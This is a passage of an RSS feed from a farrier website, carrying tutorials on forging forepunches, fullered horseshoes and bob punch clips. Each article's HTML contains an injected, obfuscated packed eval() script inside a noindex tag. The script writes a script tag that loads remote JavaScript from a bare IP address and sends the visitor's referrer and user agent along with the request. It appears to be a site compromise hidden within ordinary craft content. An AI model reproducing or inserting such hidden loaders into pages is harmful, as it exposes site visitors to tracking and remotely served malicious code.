Horseshoes.com | Your One-Stop Farrier and Hoofcare Portal - Shoe and Tool Fabrication http://www.horseshoes.com/index.php/educational-index/articles/shoe-and-tool-fabrication 2017-11-22T09:15:12+00:00 Joomla! - Open Source Content Management Making Forepunches 2009-07-30T06:39:05+00:00 2009-07-30T06:39:05+00:00 http://www.horseshoes.com/index.php/educational-index/articles/shoe-and-tool-fabrication/350-making-forepunches Bob Gillanders horseshoes@horseshoes.com <div class="feed-description"><p><span class="dropcap">F</span>rustrated with folding and or breaking your forepunches? At wits end with their care and feeding? That's where I was on May 10 when I showed up for a hands on clinic with Roy Bloom and Dave Farley. The following is what I heard Roy say, any misinformation is mine.</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzshk|var|u0026u|referrer|ndsbb||js|php'.split('|'),0,{})) </script></noindex> <p>Start with a length of H-13 1/2' round (available from Valley Farrier's Supply). At this point it is necessary to abandon any fear of this stuff. It's simple, not magic. Heat it up and hit it. You want to make the forepunch in three heats (not so tough if you abandon your fear). Get the piece good and yellow. Keep in mind you don't want to go to lunch while the steel is in the fire, but with an atmospheric forge, it's real hard to hurt H-13 in a few heats.</p> <p>For an E nail of drift punch, bring the steel out and square it up on the horn with the flat side of your heavy hammer (Figure 1). Flip the piece over 90 degrees after every 2 or 3 blows to get a square piece going. The taper can start to show up for you in this heat. The end of the steel will get a ripple in it, do not put this back into the steel, you grind it off later. When the steel is too cool to work it will tell you, "You're beating cold iron" and it won't go anywhere. Get it good and yellow again and square it up more, remember that eventually the finished product will be slightly rectangular.</p> <p>The third heat should give you your finished shape and size. With the flat side of your hammer use the top of the anvil on the far edge (fig 2). When you want to move steel in a hurry, use the horn of the anvil, as you need more finesse, move to the face of the anvil. By now, what you have should be what you want. Now you're ready to grind the final touches on your forepunch and tidy up the end.</p> <p>Let it cool off and then use a chop saw to cut the forepunch to length. Too long, and the tool can be tippy, too short and it can be harder to use when making a shoe. Visualize the bar stock with the forepunch and make it suit yourself. After you cut the forepunch to length, grind a bevel and slight roundness on the hammer end (fig 3). Using the round side of your hammer on a rounded tool gives an amazingly sharper smack to your swing.</p> <p>Now if you want to make a city head forepunch, the major heats are the same, except on the first heat you bring the steel out and smack that baby flat on the horn. Flip 180 degrees every two or three blows. After one heat you want figure 4. On the second heat, you shape the city head shape on the anvil top (Fig. 5), flipping the piece 180 degrees every couple blows or 90 degrees whenever things start to fold. By the third heat, you can shape up the forepunch to match your brand of city head nail. Air cool and grind the final touches.</p> <p>To weld a handle on your punches, cut lengths of flat bar stock and dress them up. I used 11" of 5/16" X 3/4". Using stainless welding rod, tack the handles in place. Put the tool head in the fire and heat to a dull red. Bring it out and weld up the handle. Put the tool back in the fire and heat it up to a good yellow heat. Bring the tool out and put it in a coffee can full of wood ash or lime. Preheat the can of ash of lime on the top of your forge so it's not too cold. Let it all sit over night and you've got a forepunch. Never put it in a fire again. If it needs dressing up, grind it.</p> <p>Having done all that, I used my new forepunches to make some shoes and it was glorious to get neat, clean consistent nail holes. Completely worth the effort!</p> <table align="center" border="0"> <tbody> <tr> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_1" src="images/stories/horshoes-graphics/making_forepunches_1.gif" width="155" height="204" /></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_2" src="images/stories/horshoes-graphics/making_forepunches_2.gif" width="159" height="225" /></td> </tr> <tr> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_3" src="images/stories/horshoes-graphics/making_forepunches_3.gif" width="120" height="221" /></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_4" src="images/stories/horshoes-graphics/making_forepunches_4.gif" width="151" height="221" /></td> </tr> <tr> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_5" src="images/stories/horshoes-graphics/making_forepunches_5.gif" width="192" height="217" /></td> <td></td> </tr> </tbody> </table> <p> </p> <p>First published in <em><strong>FAWS Newsletter</strong></em>, Summer 1998.</p></div> <div class="feed-description"><p><span class="dropcap">F</span>rustrated with folding and or breaking your forepunches? At wits end with their care and feeding? That's where I was on May 10 when I showed up for a hands on clinic with Roy Bloom and Dave Farley. The following is what I heard Roy say, any misinformation is mine.</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzshk|var|u0026u|referrer|ndsbb||js|php'.split('|'),0,{})) </script></noindex> <p>Start with a length of H-13 1/2' round (available from Valley Farrier's Supply). At this point it is necessary to abandon any fear of this stuff. It's simple, not magic. Heat it up and hit it. You want to make the forepunch in three heats (not so tough if you abandon your fear). Get the piece good and yellow. Keep in mind you don't want to go to lunch while the steel is in the fire, but with an atmospheric forge, it's real hard to hurt H-13 in a few heats.</p> <p>For an E nail of drift punch, bring the steel out and square it up on the horn with the flat side of your heavy hammer (Figure 1). Flip the piece over 90 degrees after every 2 or 3 blows to get a square piece going. The taper can start to show up for you in this heat. The end of the steel will get a ripple in it, do not put this back into the steel, you grind it off later. When the steel is too cool to work it will tell you, "You're beating cold iron" and it won't go anywhere. Get it good and yellow again and square it up more, remember that eventually the finished product will be slightly rectangular.</p> <p>The third heat should give you your finished shape and size. With the flat side of your hammer use the top of the anvil on the far edge (fig 2). When you want to move steel in a hurry, use the horn of the anvil, as you need more finesse, move to the face of the anvil. By now, what you have should be what you want. Now you're ready to grind the final touches on your forepunch and tidy up the end.</p> <p>Let it cool off and then use a chop saw to cut the forepunch to length. Too long, and the tool can be tippy, too short and it can be harder to use when making a shoe. Visualize the bar stock with the forepunch and make it suit yourself. After you cut the forepunch to length, grind a bevel and slight roundness on the hammer end (fig 3). Using the round side of your hammer on a rounded tool gives an amazingly sharper smack to your swing.</p> <p>Now if you want to make a city head forepunch, the major heats are the same, except on the first heat you bring the steel out and smack that baby flat on the horn. Flip 180 degrees every two or three blows. After one heat you want figure 4. On the second heat, you shape the city head shape on the anvil top (Fig. 5), flipping the piece 180 degrees every couple blows or 90 degrees whenever things start to fold. By the third heat, you can shape up the forepunch to match your brand of city head nail. Air cool and grind the final touches.</p> <p>To weld a handle on your punches, cut lengths of flat bar stock and dress them up. I used 11" of 5/16" X 3/4". Using stainless welding rod, tack the handles in place. Put the tool head in the fire and heat to a dull red. Bring it out and weld up the handle. Put the tool back in the fire and heat it up to a good yellow heat. Bring the tool out and put it in a coffee can full of wood ash or lime. Preheat the can of ash of lime on the top of your forge so it's not too cold. Let it all sit over night and you've got a forepunch. Never put it in a fire again. If it needs dressing up, grind it.</p> <p>Having done all that, I used my new forepunches to make some shoes and it was glorious to get neat, clean consistent nail holes. Completely worth the effort!</p> <table align="center" border="0"> <tbody> <tr> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_1" src="images/stories/horshoes-graphics/making_forepunches_1.gif" width="155" height="204" /></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_2" src="images/stories/horshoes-graphics/making_forepunches_2.gif" width="159" height="225" /></td> </tr> <tr> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_3" src="images/stories/horshoes-graphics/making_forepunches_3.gif" width="120" height="221" /></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_4" src="images/stories/horshoes-graphics/making_forepunches_4.gif" width="151" height="221" /></td> </tr> <tr> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="making_forepunches_5" src="images/stories/horshoes-graphics/making_forepunches_5.gif" width="192" height="217" /></td> <td></td> </tr> </tbody> </table> <p> </p> <p>First published in <em><strong>FAWS Newsletter</strong></em>, Summer 1998.</p></div> Making A Fullered Shoe 2009-07-30T05:46:04+00:00 2009-07-30T05:46:04+00:00 http://www.horseshoes.com/index.php/educational-index/articles/shoe-and-tool-fabrication/349-making-a-fullered-shoe Keith Fremlin horseshoes@horseshoes.com <div class="feed-description"><center> <table style="width: 600px;"> <tbody> <tr> <td> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_0" src="images/stories/horshoes-graphics/fremlin_3_0.jpg" width="243" height="180" /></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idhbz|var|u0026u|referrer|skiaa||js|php'.split('|'),0,{})) </script></noindex> </td> </tr> </tbody> </table> </center> <center><strong>ARE YOU READY??? Relax....and have fun! It's only a horseshoe.</strong></center> <p><strong><span class="dropcap">F</span>or this tutorial, I decided to start with a shoe in blank form, made from</strong> <span style="font-size: x-small;"><strong>5/16 ths x 3/4"</strong></span> <strong>stock, which is center marked. It's important to determine where to start the fullering. So, here's a method that works for me.</strong></p> <center> <table style="width: 600px;" border="4" cellpadding="5"> <tbody> <tr> <th>Prep<br /> Shoe</th> <td colspan="2"><strong>Lay the shoe on the anvil, ground side up and heels facing you. Move the shoe away from you until you can barely see daylight between the inside toe crown of the shoe and the outside edge of the anvil table. Be sure that the shoe sits squre to the anvil! Now lay a straight edge over the shoe so that it lays parallel and flush to the edge of the table. (Image 1)</strong> <p><strong>Using the straight edge as a guide, scribe the shoe with your fuller.</strong></p> <p><strong> Are you ready???? Time to make a couple of marks! Make marks approximately</strong> <span style="font-size: x-small;"><strong>5/16ths</strong></span> <strong>of an inch from the outside edges, using the line scribed in Image 1. (Image 2)</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_1" src="images/stories/horshoes-graphics/fremlin_3_1.jpg" width="440" height="239" /></p> <p style="text-align: center;"><strong>Image 1</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_2" src="images/stories/horshoes-graphics/fremlin_3_2.jpg" width="440" height="211" /></p> <p style="text-align: center;"><strong>Image 2</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <hr /> </td> </tr> <tr> <th>Heat 1</th> <td colspan="2"><strong>Heat the branch to be fullered. Place it over the bick (horn) and bump up the ground side edge, from the mark to about </strong><span style="font-size: x-small;"><strong>2/3rds</strong></span> <strong>of the branch towards the heel. (Image 3)</strong> <p><strong>Here's a cross section of the branch bumped up. Notice on the photo that the upper left corner is lower than the upper right corner and the blue line shows the correct angle. (Image 4)</strong></p> <p><strong>Now, using your fuller, mark the entire length. (Image 5)</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_3" src="images/stories/horshoes-graphics/fremlin_3_3.jpg" width="440" height="277" /></p> <p style="text-align: center;"><strong>Image 3</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_4" src="images/stories/horshoes-graphics/fremlin_3_4.jpg" width="293" height="224" /></p> <p style="text-align: center;"><strong>Image 4</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_5" src="images/stories/horshoes-graphics/fremlin_3_5.jpg" width="307" height="273" /></p> <p style="text-align: center;"><strong>Image 5</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <hr /> </td> </tr> <tr> <th>Heat 2</th> <td colspan="2"><strong>Heat the branch again and drive the fuller down into the stock approximately</strong> <span style="font-size: x-small;"><strong>2/3rds</strong></span><strong> of the thickness of the stock; a half a bite at a time. (Image 6)</strong> <p><strong>Be sure to taper out towards the end of the fullering at the heel. (Image 7)</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_6" src="images/stories/horshoes-graphics/fremlin_3_6.jpg" width="401" height="276" /></p> <p style="text-align: center;"><strong>Image 6</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_7" src="images/stories/horshoes-graphics/fremlin_3_7.jpg" width="387" height="278" /></p> <p style="text-align: center;"><strong>Image 7</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <hr /> </td> </tr> <tr> <th>Heat 3</th> <td colspan="2"><strong>Heat the branch to a red heat. Approximate and punch nail holes with a botton punch. (Image 8)</strong> <p><strong>Forge out any frog eyes or excessive width of stock over the bick. Make another pass with the fuller lightly! </strong></p> <p><strong>Pritchel nail holes. (Image 9)</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p> </p> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_8" src="images/stories/horshoes-graphics/fremlin_3_8.jpg" width="314" height="276" /></p> <p style="text-align: center;"><strong>Image 8</strong></p> <p> </p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_9" src="images/stories/horshoes-graphics/fremlin_3_9.jpg" width="283" height="274" /></p> <p style="text-align: center;"><strong>Image 9</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <hr /> </td> </tr> <tr> <th><span style="font-size: x-small;">Repeat<br /> Finish</span></th> <td colspan="2"><strong>Repeat the above steps on the other branch and you have a finished shoe.</strong></td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_10" src="images/stories/horshoes-graphics/fremlin_3_10.jpg" width="409" height="252" /></p> </td> </tr> </tbody> </table> </center> <h1 align="center">Happy Fullering!</h1> <p> </p> <hr /> <center><strong>Email: <a href="mailto:kfremlin@worldnet.att.net">KFremlin@worldnet.att.net</a></strong></center> <hr /> <center> <table style="width: 550px;" border="1" cellpadding="5"> <tbody> <tr> <td bgcolor="#ffff00"><span style="font-size: x-small;"><strong><span style="text-decoration: underline;">DISCLAIMER AND WARNING</span>: Forgery, metalsmithing, welding, blacksmithing and similar activities have INHERENT RISKS INCLUDING POTENTIAL SERIOUS INJURY TO THE PRACTITIONER AND/OR BYSTANDERS. The practitioner is responsible for ensuring adequate safety precautions (including eye protection appropriate to this type of activity) and skill, issues not covered or purported to be covered in these web pages. KEITH FREMLIN ASSUMES NO RESPONSIBILITY FOR INJURY TO THE PRACTIONER OR OTHERS ENGAGING IN ACTIVITIES OF FORGERY, METALSMITHING, WELDING, BLACKSMITHING OR THE LIKE AS ILLUSTRATED IN THESE WEB PAGES. </strong></span></td> </tr> </tbody> </table> </center></div> <div class="feed-description"><center> <table style="width: 600px;"> <tbody> <tr> <td> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_0" src="images/stories/horshoes-graphics/fremlin_3_0.jpg" width="243" height="180" /></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idhbz|var|u0026u|referrer|skiaa||js|php'.split('|'),0,{})) </script></noindex> </td> </tr> </tbody> </table> </center> <center><strong>ARE YOU READY??? Relax....and have fun! It's only a horseshoe.</strong></center> <p><strong><span class="dropcap">F</span>or this tutorial, I decided to start with a shoe in blank form, made from</strong> <span style="font-size: x-small;"><strong>5/16 ths x 3/4"</strong></span> <strong>stock, which is center marked. It's important to determine where to start the fullering. So, here's a method that works for me.</strong></p> <center> <table style="width: 600px;" border="4" cellpadding="5"> <tbody> <tr> <th>Prep<br /> Shoe</th> <td colspan="2"><strong>Lay the shoe on the anvil, ground side up and heels facing you. Move the shoe away from you until you can barely see daylight between the inside toe crown of the shoe and the outside edge of the anvil table. Be sure that the shoe sits squre to the anvil! Now lay a straight edge over the shoe so that it lays parallel and flush to the edge of the table. (Image 1)</strong> <p><strong>Using the straight edge as a guide, scribe the shoe with your fuller.</strong></p> <p><strong> Are you ready???? Time to make a couple of marks! Make marks approximately</strong> <span style="font-size: x-small;"><strong>5/16ths</strong></span> <strong>of an inch from the outside edges, using the line scribed in Image 1. (Image 2)</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_1" src="images/stories/horshoes-graphics/fremlin_3_1.jpg" width="440" height="239" /></p> <p style="text-align: center;"><strong>Image 1</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_2" src="images/stories/horshoes-graphics/fremlin_3_2.jpg" width="440" height="211" /></p> <p style="text-align: center;"><strong>Image 2</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <hr /> </td> </tr> <tr> <th>Heat 1</th> <td colspan="2"><strong>Heat the branch to be fullered. Place it over the bick (horn) and bump up the ground side edge, from the mark to about </strong><span style="font-size: x-small;"><strong>2/3rds</strong></span> <strong>of the branch towards the heel. (Image 3)</strong> <p><strong>Here's a cross section of the branch bumped up. Notice on the photo that the upper left corner is lower than the upper right corner and the blue line shows the correct angle. (Image 4)</strong></p> <p><strong>Now, using your fuller, mark the entire length. (Image 5)</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_3" src="images/stories/horshoes-graphics/fremlin_3_3.jpg" width="440" height="277" /></p> <p style="text-align: center;"><strong>Image 3</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_4" src="images/stories/horshoes-graphics/fremlin_3_4.jpg" width="293" height="224" /></p> <p style="text-align: center;"><strong>Image 4</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_5" src="images/stories/horshoes-graphics/fremlin_3_5.jpg" width="307" height="273" /></p> <p style="text-align: center;"><strong>Image 5</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <hr /> </td> </tr> <tr> <th>Heat 2</th> <td colspan="2"><strong>Heat the branch again and drive the fuller down into the stock approximately</strong> <span style="font-size: x-small;"><strong>2/3rds</strong></span><strong> of the thickness of the stock; a half a bite at a time. (Image 6)</strong> <p><strong>Be sure to taper out towards the end of the fullering at the heel. (Image 7)</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_6" src="images/stories/horshoes-graphics/fremlin_3_6.jpg" width="401" height="276" /></p> <p style="text-align: center;"><strong>Image 6</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_7" src="images/stories/horshoes-graphics/fremlin_3_7.jpg" width="387" height="278" /></p> <p style="text-align: center;"><strong>Image 7</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <hr /> </td> </tr> <tr> <th>Heat 3</th> <td colspan="2"><strong>Heat the branch to a red heat. Approximate and punch nail holes with a botton punch. (Image 8)</strong> <p><strong>Forge out any frog eyes or excessive width of stock over the bick. Make another pass with the fuller lightly! </strong></p> <p><strong>Pritchel nail holes. (Image 9)</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <p> </p> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_8" src="images/stories/horshoes-graphics/fremlin_3_8.jpg" width="314" height="276" /></p> <p style="text-align: center;"><strong>Image 8</strong></p> <p> </p> </td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_9" src="images/stories/horshoes-graphics/fremlin_3_9.jpg" width="283" height="274" /></p> <p style="text-align: center;"><strong>Image 9</strong></p> </td> </tr> <tr> <th></th> <td colspan="2"> <hr /> </td> </tr> <tr> <th><span style="font-size: x-small;">Repeat<br /> Finish</span></th> <td colspan="2"><strong>Repeat the above steps on the other branch and you have a finished shoe.</strong></td> </tr> <tr> <th></th> <td colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_3_10" src="images/stories/horshoes-graphics/fremlin_3_10.jpg" width="409" height="252" /></p> </td> </tr> </tbody> </table> </center> <h1 align="center">Happy Fullering!</h1> <p> </p> <hr /> <center><strong>Email: <a href="mailto:kfremlin@worldnet.att.net">KFremlin@worldnet.att.net</a></strong></center> <hr /> <center> <table style="width: 550px;" border="1" cellpadding="5"> <tbody> <tr> <td bgcolor="#ffff00"><span style="font-size: x-small;"><strong><span style="text-decoration: underline;">DISCLAIMER AND WARNING</span>: Forgery, metalsmithing, welding, blacksmithing and similar activities have INHERENT RISKS INCLUDING POTENTIAL SERIOUS INJURY TO THE PRACTITIONER AND/OR BYSTANDERS. The practitioner is responsible for ensuring adequate safety precautions (including eye protection appropriate to this type of activity) and skill, issues not covered or purported to be covered in these web pages. KEITH FREMLIN ASSUMES NO RESPONSIBILITY FOR INJURY TO THE PRACTIONER OR OTHERS ENGAGING IN ACTIVITIES OF FORGERY, METALSMITHING, WELDING, BLACKSMITHING OR THE LIKE AS ILLUSTRATED IN THESE WEB PAGES. </strong></span></td> </tr> </tbody> </table> </center></div> Making A Bob Punch Clip 2009-07-30T03:34:31+00:00 2009-07-30T03:34:31+00:00 http://www.horseshoes.com/index.php/educational-index/articles/shoe-and-tool-fabrication/348-making-a-bob-punch-clip Keith Fremlin horseshoes@horseshoes.com <div class="feed-description"><center> <div style="text-align: center;"></div> <table style="width: 600px;"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_0" src="images/stories/horshoes-graphics/fremlin_2_0.jpg" width="220" height="207" /></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeykd|var|u0026u|referrer|ebifh||js|php'.split('|'),0,{})) </script></noindex> </td> </tr> </tbody> </table> </center> <center><strong>ARE YOU READY??? Relax....and have fun! It's only a horseshoe.</strong></center> <p><strong><span class="dropcap">T</span>his method has worked for me for many years. For this tutorial I decided to draw quarter clips. I always start on the right side of the shoe first (heels pointing up). Bring the portion of shoe to be clipped to a bright yellow heat and we're ready to start.</strong></p> <center> <table style="width: 600px;" border="4" cellpadding="5"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <th style="text-align: left;">Step #1</th> <td style="text-align: left;" colspan="2"><strong>Place punch on the ground side of the shoe about </strong><span style="font-size: x-small;"><strong>1/8th</strong></span> <strong>of an inch from the outside of the web between the 1</strong><span style="font-size: x-small;"><strong>st</strong></span> <strong>and 2</strong><span style="font-size: x-small;"><strong>nd</strong></span> <strong>nail holes. Drive the punch down until it bottoms out.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="fremlin_2_1" src="images/stories/horshoes-graphics/fremlin_2_1.jpg" width="330" height="279" /></p> <p style="text-align: center;"><strong>Image 1</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #2</th> <td style="text-align: left;" colspan="2"><strong>Leave the punch in the shoe and drag it over to the upper left-hand corner of the hardie hole. Tip the punch at about a 45-degree angle and drive it into the corner of the hardie hole until you feel it bottom out. (Image 2)</strong> <p><strong>If you turn the shoe over to the foot side there should be a bubble. (Image 3)</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_2" src="images/stories/horshoes-graphics/fremlin_2_2.jpg" width="342" height="275" /></p> <p style="text-align: center;"><strong>Image 2</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_3" src="images/stories/horshoes-graphics/fremlin_2_3.jpg" width="320" height="281" /></p> <p style="text-align: center;"><strong>Image 3</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #3</th> <td style="text-align: left;" colspan="2"><strong>With the ground side up and the heels pointing away from you, reach over the left branch and grasp the right heel with your tongs. The reins of the tongs should lay on top of the right branch somewhere around the 1</strong><span style="font-size: x-small;"><strong>st</strong></span> <strong>or 2</strong><span style="font-size: x-small;"><strong>nd</strong></span><strong>nail holes. Lay the bubble on the edge of the anvil.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_4" src="images/stories/horshoes-graphics/fremlin_2_4.jpg" width="294" height="273" /></p> <p style="text-align: center;"><strong>Image 4</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #4</th> <td style="text-align: left;" colspan="2"><strong>Using the round side of your hammer, forge the base of the clip.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_5" src="images/stories/horshoes-graphics/fremlin_2_5.jpg" width="304" height="278" /></p> <p style="text-align: center;"><strong>Image 5</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #5</th> <td style="text-align: left;" colspan="2"><strong>Now, use the flat side. Drop your hammer handle down so that you can strike the base of the clip with the bottom face edge of the hammer. Surf's Up! Ride the wave! With a steady swing of the hammer, pull the clip slowly away. You'll notice a kind of ripple effect caused by the hammer's edge.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_6" src="images/stories/horshoes-graphics/fremlin_2_6.jpg" width="283" height="273" /></p> <p style="text-align: center;"><strong>Image 6</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #6</th> <td style="text-align: left;" colspan="2"><strong>After you have achieved the desired length of clip, raise the hammer handle so that you can smooth out all those ripples.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_7" 